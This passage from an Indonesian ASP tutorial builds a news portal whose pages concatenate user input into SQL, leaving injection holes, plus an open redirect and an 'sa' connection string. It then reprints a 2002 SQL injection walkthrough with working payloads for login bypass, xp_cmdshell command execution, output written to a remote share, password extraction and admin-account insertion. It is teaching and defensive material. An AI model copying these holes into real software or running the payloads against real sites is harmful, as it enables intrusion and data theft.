<td width="50%">
<p align="left"><textarea rows="4" name="NewRingkasan"
cols="50"></textarea></td>
</tr>
<tr>
<td width="50%">
<p align="left">Isi</td>
<td width="50%">
<p align="left"><textarea rows="50" name="NewIsi"
cols="50"></textarea></td>
</tr>
<td width="50%">
<p align="left"> </td>
<td width="50%">
<p align="left"><input type="submit" value="Submit"
name="B1"><input type="reset" value="Reset" name="B2"></td>
</tr>
</table>
</form>
<%
Else
Dim NewJudul
Dim NewRingkasan
Dim NewIsi
NewJudul = Request.form("NewJudul")
NewRingkasan= Request.form("NewRingkasan")
NewIsi = Request.form("NewIsi")
If NewJudul = "" or NewRingkasan = "" or NewIsi = "" Then
response.write("Judul atau Ringkasan atau Isi tidak boleh kosong
!")
Else
SSQL = "Insert Into Berita (Judul,
Ringkasan,Isi,Waktu,Username,Status) Values ('" & NewJudul & "','" &
NewRingkasan & "','" & NewIsi & "','" & Now & "','" &
Session("Username") & "','N');"
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 30
Application("Connection").Execute SSQL, Affected
If Affected > 0 Then
Response.write ("Sukses")
Else
Response.write ("Gagal")
End If
End If
End If %>
</center>
</body>
</html>
editberita.asp
<!--#include file="mylib.asp"-->
<%
Dim Id, IdBerita
If periksalogin() = 0 then
Response.Redirect("index.asp")
End If
Id = Request.QueryString("Id")
IdBerita = Request.QueryString("IdBerita")
%>
<html>
<head>
<title>Ed Berita</title>
</head>
<body>
<center>
<%
if Id = "" Then
Dim rs
set rs = Server.CreateObject("ADODB.RecordSet")
SSQL = "Select * From Berita Where Id=" & IdBerita & " And
Username='" & Username & "';"
rs.Open
sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic
%>
<form method="POST" action="editberita.asp?Id=1&idberita=<% =idberita
%>">
<table border="1" width="300">
<tr>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 31
<td width="100%" colspan="2">
<p align="center">Ed Berita</td>
</tr>
<tr>
<td width="50%">
<p align="left">Judul</td>
<td width="50%">
<p align="left"><input type="text" name="EdJudul" size="50"
value="<% =rs("Judul") %>"></td>
</tr>
<tr>
<td width="50%">
<p align="left">Ringkasan</td>
<td width="50%">
<p align="left"><textarea rows="4" name="EdRingkasan"
cols="50"><% =rs("Ringkasan") %></textarea></td>
</tr>
<tr>
<td width="50%">
<p align="left">Isi</td>
<td width="50%">
<p align="left"><textarea rows="50" name="EdIsi" cols="50"><%
=rs("Isi") %></textarea></td>
</tr>
<td width="50%">
<p align="left"> </td>
<td width="50%">
<p align="left"><input type="submit" value="Submit"
name="B1"><input type="reset" value="Reset" name="B2"></td>
</tr>
</table>
</form>
<%
rs.close
Else
Dim EdJudul
Dim EdRingkasan
Dim EdIsi
EdJudul = request.form("EdJudul")
EdRingkasan = request.form("EdRingkasan")
EdIsi = request.form("EdIsi")
If EdJudul = "" or EdRingkasan = "" or EdIsi = "" Then
response.write("Judul atau Ringkasan atau Isi tidak boleh kosong
!")
Else
SSQL = "Update Berita Set Judul ='" & EdJudul & "',Ringkasan='"
& EdRingkasan & "',Isi ='" & EdIsi & "',Waktu ='" & Now & "' Where Id="
& IdBerita & " And Username='" & Username & "';"
Application("Connection").Execute SSQL, Affected
If Affected > 0 Then
Response.write ("Sukses")
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 32
Else
Response.write ("Gagal")
End If
End If
End If %>
</center>
</body>
</html>
approveberita.asp
<!--#include file="mylib.asp"-->
<%
Dim IdBerita
If periksalogin() = 0 or Session("Level") <> "R" then
Response.Redirect("index.asp")
End If
IdBerita = Request.QueryString("IdBerita")
%>
<html>
<head>
<title>Approve</title>
</head>
<body>
<center>
<%
SSQL = "Update Berita Set Status = 'A' Where ID=" & IdBerita & ";"
Application("Connection").Execute SSQL, Affected
If Affected > 0 Then
Response.write ("Approve Sukses")
Else
Response.write ("Approve Gagal")
End If
%>
</center>
</body>
</html>
viewberita.asp
<!--#include file="mylib.asp"-->
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 33
<%
Dim idberita
If periksalogin() = 0 then
Response.Redirect("index.asp")
End If
idberita = Request.QueryString("idberita")
%>
<html>
<head>
<title>View Berita</title>
</head>
<%
Dim rs
set rs = Server.CreateObject("ADODB.RecordSet")
If Session("Level") = "R" Then
SSQL = "Select * From Berita Where id=" & idberita & "And Status
='N';"
Else
SSQL = "Select * From Berita Where id=" & idberita & "And Username
='" & session("Username") & "';"
End If
rs.Open
sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic
If not rs.eof then
%>
<p><% =rs("JUDUL") %></p>
<p><% =rs("WAKTU") %></p>
<p><% =rs("RINGKASAN") %></p>
<p><% =rs("ISI") %></p>
<%
End IF
rs.close
%>
</table>
<body>
<center>
<p></p>
</center>
</body>
</html>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 34
Project Portal Berita
ASP AdRotator Component
Komponen ASP AdRotator membuat suatu object AdRotator yang menampilkan gambar
yang berbeda setiap seorang user menampilkan atau melakukan refresh terhadap sebuah
halaman. Sebuah text file dibutuhkan untuk menyimpan informasi dari gambar-gambar.
Buatlah sebuah file ads.txt dan simpan ke folder dbo
REDIRECT ads.asp
*
images/banner1.gif
http://www.w3schools.com/
Visit W3Schools
80
images/banner2.gif
http://www.microsoft.com/
Visit Microsoft
20
REDIRECT ads.asp, adalah file yang akan dipanggil ketika pemakai melakukan klik
terhadap banner yang ditampilkan.
angka 80 dan 20 dalam hal ini adalah perbandingan probabilitas kemunculan banner yaitu
80% banding 20%.
Ketik script berikut dan simpan dengan nama "ads.asp", simpan ke folder anda, dan
laukuan browse.
<%
url=Request.QueryString("url")
If url<>"" then Response.Redirect(url)
%>
<html>
<body>
<%
set adrotator=Server.CreateObject("MSWC.AdRotator")
response.write(adrotator.GetAdvertisement("dbo/ads.txt"))
%>
</body>
</html>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 35
Contoh file berita.asp
<!--#include file="mylib.asp"-->
<html>
<head>
<title>Indonesia Terkini</title>
</head>
<body>
<center>
<table border="0" width="620">
<tr>
<td width="200">
<img border="0" src="images/logo.gif" width="165" height="76"></td>
<td width="420">
<%
set adrotator=Server.CreateObject("MSWC.AdRotator")
response.write(adrotator.GetAdvertisement("dbo/ads.txt"))
%>
</td>
</tr>
<tr>
<td colspan="2"><hr></td>
</tr>
<%
Dim rs
set rs = Server.CreateObject("ADODB.RecordSet")
SSQL = "Select Top 10 * From Berita Where Status = 'A' Order by Waktu DESC;"
rs.Open sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic
do while not rs.Eof
%>
<tr>
<td> </td>
<td> </td>
</tr>
<tr>
<td> </td>
<td>
<p><% =rs("Waktu") %><br>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 36
<a href="goto.asp?id=<% =rs("Id") %>"><% =rs("Judul") %></a><br>
<% =rs("ringkasan") %></p>
</td>
</tr>
<%
rs.movenext
loop
%>
<tr>
<td colspan="2"><hr></td>
</tr>
<tr>
<td colspan="2">
<p align="center">(c) Indonesia terkini</td>
</tr>
</table>
</center>
</body>
<%
rs.close
%>
</html>
Membuka berita ke halaman lain dengan javascript.
<a href=# onClick='window.open("goto.asp?id=<% =rs("Id") %>","Goto","");return
false;'>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 37
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 38
Koneksi ASP dengan SQL Server
Berikut ini adalah contoh file Global.asa yang membuka koneksi ke suatu SQL server
<script language="vbscript" runat="server">
Sub Application_OnStart
Dim Connection
Dim ConnectionString
Set Connection = Server.Createobject("ADODB.Connection")
Connection.ConnectionTimeout = 30
Connection.CommandTimeout = 80
Connection.Mode = adModeReadWrite
ConnectionString = "Provider=SQLOLEDB.1;Password=password;Persist
Security Info=True;User ID=sa;Initial Catalog=databasename;Data
Source=sqlservername"
Connection.Open ConnectionString
Set Application("Connection") = Connection
Application("visitors")=0
End Sub
Sub Session_OnStart
Application.Lock
Application("visitors")=Application("visitors")+1
Application.UnLock
Application("Connection").Execute "Update Visitor Set
Visitor=Visitor+1, Lasttime = GetDate();"
Session.TimeOut = 5
End Sub
Sub Session_OnEnd
Application.Lock
Application("visitors")=Application("visitors")-1
Application.UnLock
End Sub
Sub Application_OnEnd
Application("connection").close
End Sub
</script>
Contoh menjalankan Stored Procedure dengan Command
Const adCmdText = 1
Dim comm
set comm = Server.CreateObject("ADODB.Command")
set comm.activeconnection = Application("Connection")
comm.commandtype = adCmdText
comm.commandtext = "Exec REJECT_H0_AHM_DEALERS_ARTEMP " & id & ",'" &
AmbilLevel() & "','" & keteranganapprove & "','" & Session("Username")
& "'"
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 39
comm.execute
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 40
Masalah SQL Injection
Salah satu permasalahan dalam pemakaian perintah SQL dalam Server Side Include
adalah SQL Injection, sebagai mana anda ketahui bahwa dalam ASP Script kita banyak
menggunakan perintah SQL, dan perintah SQL tersebut akan dikonstruksi pada saat
Runtime berdasarkan request dari pemakai, maka resiko SQL Injection akan terjadi.
Contoh :
Misalnya kita menggunakan SQL Statement berikut ini untuk pemeriksaan username dan
password.
SSQL = "Select count(*) as Ada From Operator Where Username='" &
Username & "' And Password='" & Password & "';"
Username = tidak tahu
Password = ' Or '1' = '1
Maka pada saat runtime konstruksi dari perintah SQL akan berubah menjadi :
Select count(*) as Ada From Operator Where Username='tidak tahu' And Password='' Or
'1'='1';
Yang jika dievaluasi akan menghasilkan nilai True untuk sembarang Username, karena
logika '1'='1' selamanya menghasilkan nilai True.
Solusi :
Buatlah sebuah function sebagai berikut :
Function PeriksaString(x)
PeriksaString = Replace(Replace(x,"'","''"),";","")
End Function
SSQL = "Select count(*) as Ada From Operator Where Username='" &
PeriksaString(Username) & "' And Password='" & PeriksaString(Password)
& "';"
Solusi diatas dilakukan dengan menganti semua petik tunggal dengan dua petik tunggal,
dan membuang tanda ;.
Sehingga kalau metode SQL Injection dilakukan akan menghasilkan konstruksi sql
sebagai berikut :
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 41
Select count(*) as Ada From Operator Where Username='tidak tahu' And Password=''' Or
''1''=''1';
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 42
SQL Injection Walkthrough 26 May 2002
Summary The following article will try to help beginners with grasping the problems
facing them while trying to utilize SQL Injection techniques, to successfully utilize them,
and to protect themselves from such attacks. Credit:
The information has been provided by SK. Details 1.0 Introduction
When a machine has only port 80 opened, your most trusted vulnerability scanner cannot
return anything useful, and you know that the admin always patch his server, we have to
turn to web hacking. SQL injection is one of type of web hacking that require nothing but
port 80 and it might just work even if the admin is patch-happy. It attacks on the web
application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services
running in the OS.
This article does not introduce anything new, SQL injection has been widely written and
used in the wild. We wrote the article because we would like to document some of our
pen-test using SQL injection and hope that it may be of some use to others. You may find
a trick or two but please check out the "9.0 Where can I get more info?" for people who
truly deserve credit for developing many techniques in SQL injection.
1.1 What is SQL Injection? It is a trick to inject SQL query/command as an input possibly via web pages. Many web
pages take parameters from web user, and make SQL query to the database. Take for
instance when a user login, web page that user name and password and make SQL query
to the database to check if a user has valid name and password. With SQL Injection, it is
possible for us to send crafted user name and/or password field that will change the SQL
query and thus grant us something else.
1.2 What do you need? Any web browser.
2.0 What you should look for? Try to look for pages that allow you to submit data, i.e: login page, search page,
feedback, etc. Sometimes, HTML pages use POST command to send parameters to
another ASP page. Therefore, you may not see the parameters in the URL. However, you
can check the source code of the HTML, and look for "FORM" tag in the HTML code.
You may find something like this in some HTML codes:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
Everything between the <FORM> and </FORM> have potential parameters that might be
useful (exploit wise).
2.1 What if you can't find any page that takes input? You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 43
for URL that takes parameters, like:
http://duck/index.asp?id=10
3.0 How do you test if it is vulnerable? Start with a single quote trick. Input something like:
hi' or 1=1--
Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
If you must do this with a hidden field, just download the source HTML from the site,
save it in your hard disk, modify the URL and hidden field accordingly. Example:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
If luck is on your side, you will get login without any login name or password.
3.1 But why ' or 1=1--? Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it
is also possible to view extra information that is not normally available. Take an asp page
that will link you to another page with the following URL:
http://duck/index.asp?category=food
In the URL, 'category' is the variable name, and 'food' is the value assigned to the
variable. In order to do that, an ASP might contain the following code (OK, this is the
actual code that we created for this exercise):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
As we can see, our variable will be wrapped into v_cat and thus the SQL statement
should become:
SELECT * FROM product WHERE PCategory='food'
The query should return a resultset containing one or more rows that match the WHERE
condition, in this case, 'food'.
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 44
Now, assume that we change the URL into something like this:
http://duck/index.asp?category=food' or 1=1--
Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL
query, we will have:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
The query now should now select everything from the product table regardless if
PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest
of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be
possible to replace double dash with single hash "#".
However, if it is not an SQL server, or you simply cannot ignore the rest of the query,
you also may try
' or 'a'='a
The SQL query will now become:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
4.0 How do I get remote execution with SQL injection? Being able to inject SQL command usually mean, we can execute any SQL query at will.
Default installation of MS SQL Server is running as SYSTEM, which is equivalent to
Administrator access in Windows. We can use stored procedures like
master..xp_cmdshell to perform remote execution:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Try using double quote (") if single quote (') is not working.
The semi colon will end the current SQL query and thus allow you to start a new SQL
command. To verify that the command executed successfully, you can listen to ICMP
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 45
packet from 10.10.1.2, check if there is any packet from the server:
#tcpdump icmp
If you do not get any ping request from the server, and get error message indicating
permission error, it is possible that the administrator has limited Web User access to these
stored procedures.
5.0 How to get output of my SQL query? It is possible to use sp_makewebtask to write your query into an HTML:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM
INFORMATION_SCHEMA.TABLES"
But the target IP must folder "share" sharing for Everyone.
6.0 How to get data from the database using ODBC error message We can use information from error message produced by the MS SQL Server to get
almost any data we want. Take the following page for example:
http://duck/index.asp?id=10
We will try to UNION the integer '10' with another string from the database:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--
The system table INFORMATION_SCHEMA.TABLES contains information of all
tables in the server. The TABLE_NAME field obviously contains the name of each table
in the database. It was chosen because we know it always exists. Our query:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
This should return the first table name in the database. When we UNION this string value
to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This
will produce an error, since we cannot convert nvarchar to int. The server will display the
following error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
The error message is nice enough to tell us the value that cannot be converted into an
integer. In this case, we have obtained the first table name in the database, which is
"table1".
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 46
To get the next table name, we can use the following query:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
We also can search for data using LIKE keyword:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this
case, we will get the first table name that matches the criteria, "admin_login".
6.1 How to mine all column names of a table? We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all
columns name of a table:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Now that we have the first column name, we can use NOT IN () to get the next column
name:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'
WHERE COLUMN_NAME NOT IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 47
nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
When we continue further, we obtained the rest of the column name, i.e. "password",
"details". We know this when we get the following error message:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'
WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in
the select list if the statement contains a UNION operator.
/index.asp, line 5
6.2 How to retrieve any data we want? Now that we have identified some important tables, and their column, we can use the
same technique to gather any information we want from the database.
Now, let's get the first login_name from the "admin_login" table:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
We now know there is an admin user with the login name of "neo". Finally, to get the
password of "neo" from the database:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login
where login_name='neo'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
We can now login as "neo" with his password "m4trix".
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 48
6.3 How to get numeric string value? There is limitation with the technique describe above. We cannot get any error message if
we are trying to convert text that consists of valid number (character between 0-9 only).
Let say we are trying to get password of "trinity" which is "31173":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login
where login_name='trinity'--
We will probably get a "Page Not Found" error. The reason being, the password "31173"
will be converted into a number, before UNION with an integer (10 in this case). Since it
is a valid UNION statement, SQL server will not throw ODBC error message, and thus,
we will not be able to retrieve any numeric entry.
To solve this problem, we can append the numeric string with some alphabets to make
sure the conversion fail. Let us try this query instead:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int,
password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
We simply use a plus sign (+) to append the password with any text we want. (ASSCII
code for '+' = 0x2b). We will append '(space)morpheus' into the actual password.
Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By
manually calling the convert() function, trying to convert '31173 morpheus' into an
integer, SQL Server will throw out ODBC error message:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Now, you can even login as 'trinity' with the password '31173'.
7.0 How to update/insert data into the database? When we successfully gather all column name of a table, it is possible for us to UPDATE
or even INSERT a new record in the table. For example, to change password for "neo":
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5'
WHERE login_name='neo'--
To INSERT a new record into the database:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name',
'password', 'details') VALUES (666,'neo2','newpas5','NA')--
We can now login as "neo2" with the password of "newpas5".
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 49
8.0 How to avoid SQL Injection? Filter out character like single quote, double quote, slash, back slash, semi colon,
extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie
For numeric value, convert it to an integer before parsing it into SQL statement. Or using
ISNUMERIC to make sure it is an integer.
Change "Startup and run SQL Server" using low privilege user in SQL Server Security
tab.
Delete stored procedures that you are not using like:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
9.0 Where can I get more info? One of the earliest works on SQL Injection we have encountered should be the paper
from Rain Forest Puppy about how he hacked PacketStorm.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
Great article on gathering information from ODBC error messages:
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
A good summary of SQL Injection on various SQL Server on
http://www.owasp.org/asac/input_validation/sql.shtml
Senseport's article on reading SQL Injection:
http://www.sensepost.com/misc/SQLinsertion.htm
Other worth readings:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
top related